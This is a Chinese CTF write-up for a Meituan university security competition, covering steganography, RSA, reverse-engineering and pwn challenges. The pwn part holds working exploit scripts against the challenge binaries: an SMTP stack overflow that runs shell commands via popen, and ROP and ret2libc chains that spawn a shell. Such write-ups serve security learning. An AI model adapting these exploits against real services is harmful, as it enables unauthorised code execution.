第五届美团网络安全高校挑战赛团体初赛writeup
一、misc
1.题目名称：CyberSpace
先选择最小的数使其相等，然后分成两部分依次加各部分最小的次数，不会写脚本只能手搓
b= [32 , 38, 27 , 33 , 53 , 30 , 35 , 32 ,32 , 31 , 44 , 31 , 40 , 46 , 25 , 50 , 41 , 44 , 55]
flag=''
for i in range(len(b)):
flag+=chr(b[i]+70)
print(flag)
#flag{different_xor}
flag=''
for i in range(len(b)):
flag+=chr(b[i]+70)
print(flag)
#flag{different_xor}
crypto
strange_rsa1
将 n 也变成小数的形式， n/gift 就约等于 q**2，然后开方在附近搜索 q，之后解 RSA 即可
strange_rsa1
将 n 也变成小数的形式， n/gift 就约等于 q**2，然后开方在附近搜索 q，之后解 RSA 即可
2.题目名称：ezdct-svd
开局一张图
根据题目名ezdct-svd就可以知道是dct的频域隐写，然后hint.txt为
- 我们找到了用于嵌入水印的脚本文件hide.py中其中的三行（这三行并不挨着）：
- watermark = cv2.imread('qrcode.bmp', cv2.IMREAD_GRAYSCALE).flatten() > 128
- block_shape = (8, 8)
- Sigma[0] = (Sigma[0] // 30 + 0.5 * watermark[i] + 0.25) * 30
最后那句可以在invisible-watermark/dwtDctSvd.py at main · ShieldMnt/invisible-watermark (github.com)这找到相关源码，解量化的方法就是 int ((s[0] % scale) > scale * 0.5)，思路就结束了，所以说图片先分块，然后用dct变换后再svd分解，取矩阵的最大特征值后解量化即可，据此写脚本得到
import matplotlib.pyplot as plt
import cv2
import numpy as np
def infer_dct_svd(frame):
_block = 8
res = []
row, col = frame.shape
for i in range(row//_block):
for j in range(col//_block):
block = np.float32(frame[i*_block : i*_block + _block,j*_block : j*_block + _block])
_DCT = cv2.dct(block)
u,s,v = np.linalg.svd(_DCT)
# print(s[0])
score = int ((s[0] % 30) > 30 * 0.5)
res.append(score)
return np.array(res)*255
wm_length = 64*64
pic = cv2.imread('embedded.bmp')
count = 0
R = pic[:,:,2]
r = infer_dct_svd(R)[:64*64].reshape(64,64)
plt.imshow(r)
plt.show()
其实这边有三个图层，但是一般都是先从r图层开始，这里可以很清楚的看见最上面有一长串的黑值，且长度为7，找到下一处长度为7的黑条，数了下长度为37，而37*37也正是二维码的尺寸，修改size即可得到flag二维码
import matplotlib.pyplot as plt
import cv2
import numpy as np
def infer_dct_svd(frame):
_block = 8
res = []
row, col = frame.shape
for i in range(row//_block):
for j in range(col//_block):
block = np.float32(frame[i*_block : i*_block + _block,j*_block : j*_block + _block])
_DCT = cv2.dct(block)
u,s,v = np.linalg.svd(_DCT)
# print(s[0])
score = int ((s[0] % 30) > 30 * 0.5)
res.append(score)
return np.array(res)*255
wm_length = 64*64
pic = cv2.imread('embedded.bmp')
count = 0
R = pic[:,:,2]
r = infer_dct_svd(R)[:37*37].reshape(37,37)
plt.imshow(r)
plt.show()
flag{4a8a4732-df32-415d-9945-d5ce0a16a0d1}
二、crypto
1.题目名称：strange_rsa1
将 n 也变成小数的形式， n/gift 就约等于 q**2，然后开方在附近搜索 q，之后解 RSA 即可
n =
1085251670480696185881759768678465632475926812796997649358685718055379954
6624462103913858473496818696201515406983422891322398284055862636990369785
6981515674800664445719963249384904839446749699482532818680540192673814671
5820329055733811884209972318421449890274001066247441467392386878183120129
20530048166672413
c =
2397039756048232641854450089598256479468105533338518682968670780232292334
5863102521635786012870368948010933275558746273559080917607938457905967618
7771244287110980875259673479232093471909565125203508067664161083248956602
4336466193680162788257795178456958970794396600929575831696736865051255892
3594173887431924
gift =
0.98787132100571390232983890257676523085030139619192824401690536524885652
0696332072123473648091143791837320129959007867874213673629034957871918764
5145615363088975706222696090029443619975380433122746296316430693294386663
4902218917872921129649895018564353897251496107245851561546885150079838465
99924478524442938
from Crypto.Util.number import *
n=RealField(prec=512*2)(n)
p1=n/gift
print(int(p1))
from gmpy2 import *
p=iroot(int(p1),2)[0]
print(p)
p=1048129736947767868864747342626440475167260924133296899231005859892212
0259940804922095197051670288498112926299671514217457279033970326518832408
003060034368
import sympy
from Crypto.Util.number import *
import gmpy2
floating_rng=500000
for i in range(p-floating_rng, p+floating_rng):
q = divmod(n,i)
if q[1]==0:
print("p 等于： ",i)
p=1048129736947767868864747342626440475167260924133296899231005859892212
0259940804922095197051670288498112926299671514217457279033970326518832408
003060034369
q=n//p
d=invert(65537,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))
#flag{a5537b232c1ab750e0db61ec352504a301b7b212}
三、pwn
1.题目名称：smtp
协议逆向，可知 sender_worker 有栈溢出
#!/usr/bin/env python3
from re import search
from pwncli import *
cli_script()
io = gift["io"]
elf = gift["elf"]
libc = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
if gift.remote:
libc = ELF("./libc-2.31.so")
gift["libc"] = libc
p = remote('127.0.0.1',9999)
p.sendafter('220 SMTP tsmtp\n','HELOfxxk')
p.sendafter('250 Ok\n',"MAIL FROM:cat flag >&5\x00")
p.sendafter("250 Ok\n",b"RCPT TO:" + flat({
0x100:
[
0x804d1d0,
'a'*0xc,
elf.plt.popen,
'dead',
0x804d140,
elf.search(b'r\x00').__next__()
]
},length=0x200))
p.sendafter('250 Ok\n','DATA')
p.sendafter(".<CR><LF>\n",b".\r\n" + b"fxxk")
p.interactive()
p.close()
2.题目名称：note
菜单的逻辑，但是是栈溢出。 利用 magic_gadget:add [rbp-3Dh],ebx 即可。
#!/usr/bin/env python3
from pwncli import *
cli_script()
io:tube = gift["io"]
elf:ELF = gift["elf"]
libc:ELF = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
context.arch = 'amd64‘
if gift.remote:
libc = ELF("./libc-2.31.so")
gift["libc"] = libc
def cmd(idx):
sla('leave',str(idx))
#0 ~ 0x1ff
def add(size,cont):
cmd(1)
sla('Size:',str(size))
sla('Content:',str(cont))
def show(idx):
cmd(2)
sla('Index:',str(idx))
def edit(idx,cont):
cmd(3)
sla('Index:',str(idx))
sa('Content:',(cont))
def free(idx):
cmd(4)
sla('Index:',str(idx))
gdb.attach(io,'b *0x401579')
sleep(1)
CurrentGadgets.set_find_area(1,0)
edit(-4,flat({
8:[
CurrentGadgets.write_by_magic(elf.bss(0x100),0,u32_ex('sh')),
CurrentGadgets.write_by_magic(elf.got.puts,libc.sym.puts,libc.sym.system),
CurrentGadgets.pop_rdi_ret(),
elf.bss(0x100),
CurrentGadgets.ret(),
elf.plt.puts
]
}))
io.interactive()
3.题目名称：捉迷藏
简单的利用一下 angr 就行
import angr
import sys
proj = angr.Project("pwn", auto_load_libs=False)
state = proj.factory.blank_state(addr=0x4076BD)
simu = proj.factory.simgr(state)
simu.explore(find=0x4079C6, avoid=0x407A43)
if simu.found:
print("find!")
solution = simu.found[0]
key = solution.posix.dumps(sys.stdin.fileno())
print(key)
#get :
'<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00'
#!/usr/bin/env python3
from pwncli import *
cli_script()
io = gift["io"]
elf = gift["elf"]
libc = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
sa('sbAmJLMLWm:',"a "*8)
sa('HuEqdjYtuWo:','a'*0x33)
#sa('tfAxpqDQuTCyJw:','a'*8)
sa('hbsoMdIRWpYRqvfClb:','a'*0x35)
sa('tfAxpqDQuTCyJw:','a'*0x22)
sa('UTxqmFvmLy:','a '*3 + '9254 ' + '0 ' + 'a '*3)
sa('LLQPyLAOGJbnm:','<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00')
sa('gRGKqIlcuj:',flat(
{
0xf + 8:[0x401334]
},length=0x37
))
io.interactive()
4.题目名称：ret2libc_aarch64
正如题目字面意思， ret2libc，不过是 aarch64
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def leak(addr: int):
sla(">", "1")
sa("sensible>>\n", p64_ex(addr))
return rl()
def pwn(data):
sla(">", "2")
sla("sensible>>\n", data)
msg = leak(elf.got.read)
read_addr = (0x4000 << 24) + u64_ex(msg[:-1])
log_address("read_addr", read_addr)
lb = read_addr - 0x00000000000c3b40
# 0x00128e80 binsh
# 0x0000000000063e5c: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
# 0000000000040578 system
log_address("target gadget", lb + 0x63e5c)
data = flat({
136: [
lb + 0x63e5c,
[lb + 0x000000000040578] * 5,
lb + 0x00128e80,
[lb + 0x000000000040578] * 5
]
})
pwn(data)
ia()
三、reverse
1.题目名称：small
以二进制文件形式，在 ida 中打开
在适当的地址处，按 c 转成汇编代码，分析出是 TEA 加密， delta 和密钥均已知
在字符串”good”后找到密文
解密 TEA 即可得到 flag
#include <stdio.h>
#include <stdint.h>//加密函数
void encrypt(unsigned int num_rounds, uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0, i;
uint32_t delta = 0x67452301;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < num_rounds; i++) {
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
}
v[0] = v0; v[1] = v1;
}
//解密函数
void decrypt(unsigned int num_rounds, uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], i;
uint32_t delta = 0x67452301,sum = delta*num_rounds;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i<num_rounds; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
v[0] = v0; v[1] = v1;
}
//打印数据 hex_or_chr: 1-hex 0-chr
void dump_data(uint32_t * v,int n,bool hex_or_chr)
{
if(hex_or_chr)
{
for(int i=0;i<n;i++)
{
printf("0x%x,",v[i]);
}
}
else
{
for (int i = 0; i < n; i++)
{
for (int j = 0; j < sizeof(uint32_t)/sizeof(uint8_t); j++)
{
printf("%c", (v[i] >> (j * 8)) & 0xFF);
}
}
}
printf("\n");
return;
}
int main()
{
// v 为要加解密的数据
uint32_t v[] =
{ 0xde087143,0xc4f91bd2,0xdaf6dadc,0x6d9ed54c,0x75eb4ee7,0x5d1ddc04,0x511b0fd9,0
x51dc88fb };
// k 为加解密密钥， 4 个 32 位无符号整数，密钥长度为 128 位
uint32_t k[4] = { 0x01,0x23,0x45,0x67 };
// num_rounds，建议取值为 32
unsigned int r = 35;
int n = sizeof(v) / sizeof(uint32_t);
/*
printf("加密前明文数据： ");
dump_data(v,n,1);
for(int i=0;i<n/2;i++)
{
encrypt(r,&v[i*2], k);
}
printf("加密后密文数据： ");
dump_data(v,n,1);
*/
for(int i=0;i<n/2;i++)
{
decrypt(r,&v[i*2], k);
}
printf("解密后明文数据： ");
dump_data(v,n,1);
printf("解密后明文字符： ");
dump_data(v,n,0);
return 0;
}
// flag{327a6c4304ad5938eaf0efb6cc3e53dc}
2.题目名称：static
aes.c:
#include <ctype.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void hexdump(void *pdata, int size) {
const uint8_t *p = (const uint8_t *)pdata;
int count = size / 16;
int rem = size % 16;
for (int r = 0; r <= count; r++) {
int k = (r == count) ? rem : 16;
if (r)
printf("\n");
for (int i = 0; i < 16; i++) {
if (i < k)
printf("%02X ", p[i]);
else
printf(" ");
}
printf(" ");
for (int i = 0; i < k; i++) {
printf("%c", isprint(p[i]) ? p[i] : '.');
}
p += 0x10;
}
printf("\n");
}
/*
This is an implementation of the AES algorithm, specifically ECB, CTR and CBC
mode. Block size can be chosen in aes.h - available choices are AES128, AES192,
AES256.
The implementation is verified against the test vectors in:
National Institute of Standards and Technology Special Publication 800-38A
2001 ED
ECB-AES128
----------
plain-text:
6bc1bee22e409f96e93d7e117393172a
ae2d8a571e03ac9c9eb76fac45af8e51
30c81c46a35ce411e5fbc1191a0a52ef
f69f2445df4f9b17ad2b417be66c3710
key:
2b7e151628aed2a6abf7158809cf4f3c
resulting cipher
3ad77bb40d7a3660a89ecaf32466ef97
f5d3d58503b9699de785895a96fdbaaf
43b1cd7f598ece23881b00e3ed030688
7b0c785e27e8ad3f8223207104725dd4
NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0)
You should pad the end of the string with zeros if this is not the case.
For AES192/256 the key size is proportionally larger.
*/
/*****************************************************************************/
/* Includes: */
/*****************************************************************************/
#include "aes.h"
#include <string.h> // CBC mode, for memset
/*****************************************************************************/
/* Defines: */
/*****************************************************************************/
// The number of columns comprising a state in AES. This is a constant in AES.
// Value=4
#define Nb 4
#if defined(AES256) && (AES256 == 1)
#define Nk 8
#define Nr 14
#elif defined(AES192) && (AES192 == 1)
#define Nk 6
#define Nr 12
#else
#define Nk 4 // The number of 32 bit words in a key.
#define Nr 10 // The number of rounds in AES Cipher.
#endif
// jcallan@github points out that declaring Multiply as a function
// reduces code size considerably with the Keil ARM compiler.
// See this link for more information:
// https://github.com/kokke/tiny-AES-C/pull/3
#ifndef MULTIPLY_AS_A_FUNCTION
#define MULTIPLY_AS_A_FUNCTION 0
#endif
/*****************************************************************************/
/* Private variables: */
/*****************************************************************************/
// state - array holding the intermediate results during decryption.
typedef uint8_t state_t[4][4];
// The lookup-tables are marked const so they can be placed in read-only storage
// instead of RAM The numbers below can be computed dynamically trading ROM for
// RAM - This can be useful in (embedded) bootloader applications, where ROM is
// often limited.
static const uint8_t sbox[256] = {
// 0 1 2 3 4 5 6 7 8 9 A B C
// D E F
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b,
0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0,
0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26,
0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2,
0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0,
0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed,
0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f,
0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5,
0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec,
0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14,
0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c,
0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d,
0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f,
0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e,
0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11,
0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f,
0xb0, 0x54, 0xbb, 0x16};
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
static const uint8_t rsbox[256] = {
0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e,
0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87,
0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32,
0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49,
0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16,
0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50,
0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05,
0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02,
0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41,
0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8,
0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89,
0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b,
0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59,
0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d,
0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d,
0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63,
0x55, 0x21, 0x0c, 0x7d};
#endif
// The round constant word array, Rcon[i], contains the values given by
// x to the power (i-1) being powers of x (x is denoted as {02}) in the field
// GF(2^8)
static const uint8_t Rcon[11] = {0x8d, 0x01, 0x02, 0x04, 0x08, 0x10,
0x20, 0x40, 0x80, 0x1b, 0x36};
/*
* Jordan Goulder points out in PR #12
* (https://github.com/kokke/tiny-AES-C/pull/12), that you can remove most of
* the elements in the Rcon array, because they are unused.
*
* From Wikipedia's article on the Rijndael key schedule @
* https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon
*
* "Only the first some of these constants are actually used – up to rcon[10]
* for AES-128 (as 11 round keys are needed), up to rcon[8] for AES-192, up to
* rcon[7] for AES-256. rcon[0] is not used in AES algorithm."
*/
/*****************************************************************************/
/* Private functions: */
/*****************************************************************************/
/*
static uint8_t getSBoxValue(uint8_t num)
{
return sbox[num];
}
*/
#define getSBoxValue(num) (sbox[(num)])
// This function produces Nb(Nr+1) round keys. The round keys are used in each
// round to decrypt the states.
static void KeyExpansion(uint8_t *RoundKey, const uint8_t *Key) {
unsigned i, j, k;
uint8_t tempa[4]; // Used for the column/row operations
// The first round key is the key itself.
for (i = 0; i < Nk; ++i) {
RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];
RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];
RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];
RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];
}
// All other round keys are found from the previous round keys.
for (i = Nk; i < Nb * (Nr + 1); ++i) {
{
k = (i - 1) * 4;
tempa[0] = RoundKey[k + 0];
tempa[1] = RoundKey[k + 1];
tempa[2] = RoundKey[k + 2];
tempa[3] = RoundKey[k + 3];
}
if (i % Nk == 0) {
// This function shifts the 4 bytes in a word to the left once.
// [a0,a1,a2,a3] becomes [a1,a2,a3,a0]
// Function RotWord()
{
const uint8_t u8tmp = tempa[0];
tempa[0] = tempa[1];
tempa[1] = tempa[2];
tempa[2] = tempa[3];
tempa[3] = u8tmp;
}
// SubWord() is a function that takes a four-byte input word and
// applies the S-box to each of the four bytes to produce an output word.
// Function Subword()
{
tempa[0] = getSBoxValue(tempa[0]);
tempa[1] = getSBoxValue(tempa[1]);
tempa[2] = getSBoxValue(tempa[2]);
tempa[3] = getSBoxValue(tempa[3]);
}
tempa[0] = tempa[0] ^ Rcon[i / Nk];
}
#if defined(AES256) && (AES256 == 1)
if (i % Nk == 4) {
// Function Subword()
{
tempa[0] = getSBoxValue(tempa[0]);
tempa[1] = getSBoxValue(tempa[1]);
tempa[2] = getSBoxValue(tempa[2]);
tempa[3] = getSBoxValue(tempa[3]);
}
}
#endif
j = i * 4;
k = (i - Nk) * 4;
RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];
RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];
RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];
RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];
}
}
void AES_init_ctx(struct AES_ctx *ctx, const uint8_t *key) {
KeyExpansion(ctx->RoundKey, key);
}
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
void AES_init_ctx_iv(struct AES_ctx *ctx, const uint8_t *key,
const uint8_t *iv) {
KeyExpansion(ctx->RoundKey, key);
memcpy(ctx->Iv, iv, AES_BLOCKLEN);
}
void AES_ctx_set_iv(struct AES_ctx *ctx, const uint8_t *iv) {
memcpy(ctx->Iv, iv, AES_BLOCKLEN);
}
#endif
// This function adds the round key to state.
// The round key is added to the state by an XOR function.
static void AddRoundKey(uint8_t round, state_t *state,
const uint8_t *RoundKey) {
uint8_t i, j;
for (i = 0; i < 4; ++i) {
for (j = 0; j < 4; ++j) {
(*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];
}
}
}
// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void SubBytes(state_t *state) {
uint8_t i, j;
for (i = 0; i < 4; ++i) {
for (j = 0; j < 4; ++j) {
(*state)[j][i] = getSBoxValue((*state)[j][i]);
}
}
}
// The ShiftRows() function shifts the rows in the state to the left.
// Each row is shifted with different offset.
// Offset = Row number. So the first row is not shifted.
static void ShiftRows(state_t *state) {
uint8_t temp;
// Rotate first row 1 columns to left
temp = (*state)[0][1];
(*state)[0][1] = (*state)[1][1];
(*state)[1][1] = (*state)[2][1];
(*state)[2][1] = (*state)[3][1];
(*state)[3][1] = temp;
// Rotate second row 2 columns to left
temp = (*state)[0][2];
(*state)[0][2] = (*state)[2][2];
(*state)[2][2] = temp;
temp = (*state)[1][2];
(*state)[1][2] = (*state)[3][2];
(*state)[3][2] = temp;
// Rotate third row 3 columns to left
temp = (*state)[0][3];
(*state)[0][3] = (*state)[3][3];
(*state)[3][3] = (*state)[2][3];
(*state)[2][3] = (*state)[1][3];
(*state)[1][3] = temp;
}
static uint8_t xtime(uint8_t x) { return ((x << 1) ^ (((x >> 7) & 1) * 0x1b)); }
// MixColumns function mixes the columns of the state matrix
static void MixColumns(state_t *state) {
uint8_t i;
uint8_t Tmp, Tm, t;
for (i = 0; i < 4; ++i) {
t = (*state)[i][0];
Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3];
Tm = (*state)[i][0] ^ (*state)[i][1];
Tm = xtime(Tm);
(*state)[i][0] ^= Tm ^ Tmp;
Tm = (*state)[i][1] ^ (*state)[i][2];
Tm = xtime(Tm);
(*state)[i][1] ^= Tm ^ Tmp;
Tm = (*state)[i][2] ^ (*state)[i][3];
Tm = xtime(Tm);
(*state)[i][2] ^= Tm ^ Tmp;
Tm = (*state)[i][3] ^ t;
Tm = xtime(Tm);
(*state)[i][3] ^= Tm ^ Tmp;
}
}
// Multiply is used to multiply numbers in the field GF(2^8)
// Note: The last call to xtime() is unneeded, but often ends up generating a
// smaller binary
// The compiler seems to be able to vectorize the operation better this
// way. See https://github.com/kokke/tiny-AES-c/pull/34
#if MULTIPLY_AS_A_FUNCTION
static uint8_t Multiply(uint8_t x, uint8_t y) {
return (((y & 1) * x) ^ ((y >> 1 & 1) * xtime(x)) ^
((y >> 2 & 1) * xtime(xtime(x))) ^
((y >> 3 & 1) * xtime(xtime(xtime(x)))) ^
((y >> 4 & 1) *
xtime(xtime(xtime(
xtime(x)))))); /* this last call to xtime() can be omitted */
}
#else
#define Multiply(x, y) \
(((y & 1) * x) ^ ((y >> 1 & 1) * xtime(x)) ^ \
((y >> 2 & 1) * xtime(xtime(x))) ^ \
((y >> 3 & 1) * xtime(xtime(xtime(x)))) ^ \
((y >> 4 & 1) * xtime(xtime(xtime(xtime(x))))))
#endif
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
/*
static uint8_t getSBoxInvert(uint8_t num)
{
return rsbox[num];
}
*/
#define getSBoxInvert(num) (rsbox[(num)])
// MixColumns function mixes the columns of the state matrix.
// The method used to multiply may be difficult to understand for the
// inexperienced. Please use the references to gain more information.
static void InvMixColumns(state_t *state) {
int i;
uint8_t a, b, c, d;
for (i = 0; i < 4; ++i) {
a = (*state)[i][0];
b = (*state)[i][1];
c = (*state)[i][2];
d = (*state)[i][3];
(*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^
Multiply(d, 0x09);
(*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^
Multiply(d, 0x0d);
(*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^
Multiply(d, 0x0b);
(*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^
Multiply(d, 0x0e);
}
}
// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void InvSubBytes(state_t *state) {
uint8_t i, j;
for (i = 0; i < 4; ++i) {
for (j = 0; j < 4; ++j) {
(*state)[j][i] = getSBoxInvert((*state)[j][i]);
}
}
}
static void InvShiftRows(state_t *state) {
uint8_t temp;
// Rotate first row 1 columns to right
temp = (*state)[3][1];
(*state)[3][1] = (*state)[2][1];
(*state)[2][1] = (*state)[1][1];
(*state)[1][1] = (*state)[0][1];
(*state)[0][1] = temp;
// Rotate second row 2 columns to right
temp = (*state)[0][2];
(*state)[0][2] = (*state)[2][2];
(*state)[2][2] = temp;
temp = (*state)[1][2];
(*state)[1][2] = (*state)[3][2];
(*state)[3][2] = temp;
// Rotate third row 3 columns to right
temp = (*state)[0][3];
(*state)[0][3] = (*state)[1][3];
(*state)[1][3] = (*state)[2][3];
(*state)[2][3] = (*state)[3][3];
(*state)[3][3] = temp;
}
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
void swap_xxx(state_t *state) {
for (int j = 0; j < 4; j++) {
uint8_t a = (*state)[j][0];
uint8_t b = (*state)[j][1];
uint8_t c = (*state)[j][2];
uint8_t d = (*state)[j][3];
(*state)[j][3] = a;
(*state)[j][2] = b;
(*state)[j][1] = c;
(*state)[j][0] = d;
}
}
// Cipher is the main function that encrypts the PlainText.
static void Cipher(state_t *state, const uint8_t *RoundKey) {
uint8_t round = 0;
// Add the First round key to the state before starting the rounds.
AddRoundKey(0, state, RoundKey);
// There will be Nr rounds.
// The first Nr-1 rounds are identical.
// These Nr rounds are executed in the loop below.
// Last one without MixColumns()
for (round = 1;; ++round) {
if (round != Nr) {
swap_xxx(state);
}
if (round == Nr) {
uint32_t a = *(uint32_t *)(*state)[3];
uint32_t b = *(uint32_t *)(*state)[2];
uint32_t c = *(uint32_t *)(*state)[1];
uint32_t d = *(uint32_t *)(*state)[0];
*(uint32_t *)(*state)[0] = a;
*(uint32_t *)(*state)[1] = b;
